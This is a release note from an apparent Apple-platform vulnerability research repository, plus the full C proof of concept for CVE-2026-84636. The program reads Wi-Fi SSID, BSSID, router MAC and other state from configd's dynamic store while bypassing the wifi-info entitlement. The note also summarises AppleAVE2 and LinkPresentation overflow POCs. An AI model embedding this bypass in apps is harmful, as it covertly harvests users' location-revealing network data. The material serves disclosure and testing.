v2.1 — CVE-2026-112705 / 112621 / 84636

Three public research arrivals, each with a .swift and .c POC folder:

- CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers): app split into a
  property probe (ave.ntl) and a deliberate fire module (ave.ntl.fire);
  C twin carries a --force-host gate because a frame submit reaches the
  same driver that panicked the dev Mac, so the host only builds it
- CVE-2026-112621 (LinkPresentation LPAnimatedImageTranscoder): 256x16 ->
  256x48 container, loopback og:image delivery, LPMetadataProvider; probe
  checks the pool math, fire runs the real transcode; C twin reproduces the
  48-row clear against a guard page (32,768 B past the 16,384-byte pool)
- CVE-2026-84636 (configd dynamic store): SSID + router MAC without the
  wifi-info entitlement, compared in-process with CNCopyCurrentNetworkInfo

56 modules, 34 CVE folders, 45 Swift POC files, 34 C twins. Device IPA
2.1 build 4; simulator regression: sc.dynamicstore / ave.ntl / lp.heic all
done (overflow=32768, NTL refused 0/4 on the simulator's encoder path).

CVE-2026-84636/CVE-2026-84636.c

@@ -0,0 +1,132 @@
+// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636
+// C twin of the Swift POC: read the Wi-Fi SSID and router MAC from configd's dynamic
+// store without com.apple.developer.networking.wifi-info, and compare against the
+// supported API, which refuses without the entitlement.
+//
+// Build: clang -O2 -o cve-2026-84636 CVE-2026-84636.c \
+//          -framework SystemConfiguration -framework CoreFoundation
+// Run:   ./cve-2026-84636
+
+#include <stdio.h>
+#include <string.h>
+#include <TargetConditionals.h>
+#include <SystemConfiguration/SystemConfiguration.h>
+#include <SystemConfiguration/CaptiveNetwork.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+static void show(SCDynamicStoreRef store, const char *key) {
+    CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
+    CFPropertyListRef v = SCDynamicStoreCopyValue(store, k);
+    if (!v) {
+        printf("%s: <absent>\n", key);
+    } else {
+        CFStringRef d = CFCopyDescription(v);
+        char buf[2048] = {0};
+        if (d) {
+            CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
+            CFRelease(d);
+        }
+        printf("%s: %s\n", key, buf);
+        CFRelease(v);
+    }
+    CFRelease(k);
+}
+
+static char *field(CFPropertyListRef v, const char *name) {
+    static char buf[256];
+    buf[0] = 0;
+    if (!v || CFGetTypeID(v) != CFDictionaryGetTypeID()) return buf;
+    CFStringRef key = CFStringCreateWithCString(NULL, name, kCFStringEncodingUTF8);
+    CFTypeRef item = CFDictionaryGetValue(v, key);
+    if (item && CFGetTypeID(item) == CFStringGetTypeID()) {
+        CFStringGetCString((CFStringRef)item, buf, sizeof(buf), kCFStringEncodingUTF8);
+    } else if (item) {
+        CFStringRef d = CFCopyDescription(item);
+        if (d) {
+            CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
+            CFRelease(d);
+        }
+    }
+    CFRelease(key);
+    return buf;
+}
+
+int main(void) {
+    SCDynamicStoreRef store = SCDynamicStoreCreate(NULL, CFSTR("cve-2026-84636"), NULL, NULL);
+    if (!store) { printf("SCDynamicStoreCreate failed\n"); return 1; }
+
+    printf("=== entitlement check ===\n");
+#if TARGET_OS_IPHONE
+    CFDictionaryRef captive = CNCopyCurrentNetworkInfo(CFSTR("en0"));
+    if (captive) {
+        CFStringRef d = CFCopyDescription(captive);
+        char buf[512] = {0};
+        if (d) { CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); CFRelease(d); }
+        printf("CNCopyCurrentNetworkInfo: %s\n", buf);
+        CFRelease(captive);
+    } else {
+        printf("CNCopyCurrentNetworkInfo: nil (wifi-info entitlement missing)\n");
+    }
+#else
+    printf("CNCopyCurrentNetworkInfo: not available on macOS — dynamic store path only\n");
+#endif
+
+    printf("\n=== interface state ===\n");
+    show(store, "State:/Network/Interface/en0/AirPort");
+    CFPropertyListRef airport = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Interface/en0/AirPort"));
+    printf("SSID_STR: %s\n", field(airport, "SSID_STR"));
+    printf("BSSID: %s\n", field(airport, "BSSID"));
+    printf("Channel: %s\n", field(airport, "Channel"));
+    printf("AuthType: %s\n", field(airport, "AuthType"));
+    if (airport) CFRelease(airport);
+
+    printf("\n=== IPv4 service (router MAC) ===\n");
+    show(store, "State:/Network/Global/IPv4");
+    CFPropertyListRef global = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Global/IPv4"));
+    char uuid[128];
+    snprintf(uuid, sizeof(uuid), "%s", field(global, "PrimaryService"));
+    printf("PrimaryService: %s\n", uuid[0] ? uuid : "<absent>");
+    printf("Router: %s\n", field(global, "Router"));
+    if (global) CFRelease(global);
+
+    if (uuid[0]) {
+        char key[256];
+        snprintf(key, sizeof(key), "State:/Network/Service/%s/IPv4", uuid);
+        show(store, key);
+        CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
+        CFPropertyListRef svc = SCDynamicStoreCopyValue(store, k);
+        printf("ARPResolvedHardwareAddress: %s\n", field(svc, "ARPResolvedHardwareAddress"));
+        if (svc) CFRelease(svc);
+        CFRelease(k);
+
+        snprintf(key, sizeof(key), "State:/Network/Service/%s/DHCP", uuid);
+        show(store, key);
+    }
+
+    printf("\n=== privacy-relevant keys ===\n");
+    show(store, "State:/Network/Global/DNS");
+    show(store, "com.apple.MobileBluetooth");
+    show(store, "com.apple.MobileInternetSharing");
+    show(store, "com.apple.sharing:/AutoUnlock/Enabled");
+    show(store, "State:/IOKit/LowBatteryWarning");
+    show(store, "State:/IOKit/PowerManagement/SystemLoad/Detailed");
+
+    printf("\n=== enumeration ===\n");
+    CFArrayRef keys = SCDynamicStoreCopyKeyList(store, CFSTR("State:/Network/.*"));
+    if (keys) {
+        CFIndex n = CFArrayGetCount(keys);
+        printf("State:/Network keys: %ld\n", (long)n);
+        for (CFIndex i = 0; i < n; i++) {
+            CFStringRef k = CFArrayGetValueAtIndex(keys, i);
+            char buf[512];
+            if (CFStringGetCString(k, buf, sizeof(buf), kCFStringEncodingUTF8)) show(store, buf);
+        }
+        CFRelease(keys);
+    } else {
+        printf("State:/Network key list: <none>\n");
+    }
+
+    printf("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement\n");
+    CFRelease(store);
+    return 0;
+}